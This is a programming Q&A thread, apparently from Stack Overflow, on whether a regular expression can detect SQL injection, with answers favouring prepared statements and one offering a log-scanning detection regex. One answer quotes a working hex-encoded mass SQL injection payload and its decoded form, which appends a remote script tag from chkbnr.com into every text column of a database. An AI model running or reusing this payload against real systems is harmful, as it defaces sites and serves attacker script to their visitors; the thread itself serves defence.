Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?
5 Answers
Don't do it. You're practically guaranteed to fail. Use PreparedStatement (or its equivalent) instead.
7 Comments
Timbo
This is good advice, this fixes the real problem but you might still want to be able to detect the attack and take additional steps. Using a prepared statement prevents the attack but it will not tell you that someone is trying to attack.
Hank Gay
I guess that depends how important that sort of detection is to you. The easiest checks are likely to generate false positives (' is not always a sign of attack, it could just be a user named O'Banion) and making it more sophisticated starts to eat up time you could be devoting to functionality.
TMG
I don't think the question necessarily means the OP wanted to use regex to mitigate the risk. I filter and escape everything, but I am looking for a good SQL injection regex precisely because I want to flag users who are doing things they shouldn't be (including sql injection attempts).
avgvstvs
Additionally, sometimes you can inherit an entire project of dynamic SQL and are suddenly faced with the prospect that changing everything to prepared statements will have you making code modifications to over 500 class files. A regex solution starts to look palatable.
bryjohns
This is not an answer. There are legitimate cases for detecting SQL injection before going to a prepared statement. Such information is useful for logging hack attempts.
|
Use stored procedures or prepared statements. How will you detect something like this?
BTW do NOT run this:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
Which translates to:
( DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC(
'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor )
2 Comments
Alex Gordon
can you please explain what that code is? got me very interested. thanks!
Sir Hally
these numbers transform to sql query (DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor ) after cast to varchar
Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.
Comments
I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.
Comments
As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.
Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR
((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4
It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.
Use it on a query log, such as mysql's general log
Hope its useful
2 Comments
Your Common Sense
You know, there is absolutely nothing "classical" in that n=n in regard of SQL injection. This regexp is no more useful than a literal substring search for "Robert'); DROP TABLE students;" in hope for detecting an SQL injection.
jœl
I did not mean to provide the god regex for sql injection; I just thought to share a simple where comparison for typical integer conditions
PreparedStatement—that's one of the main benefits of using them. There are many others, including better query optimization, but the protection against injection is probably my favorite one.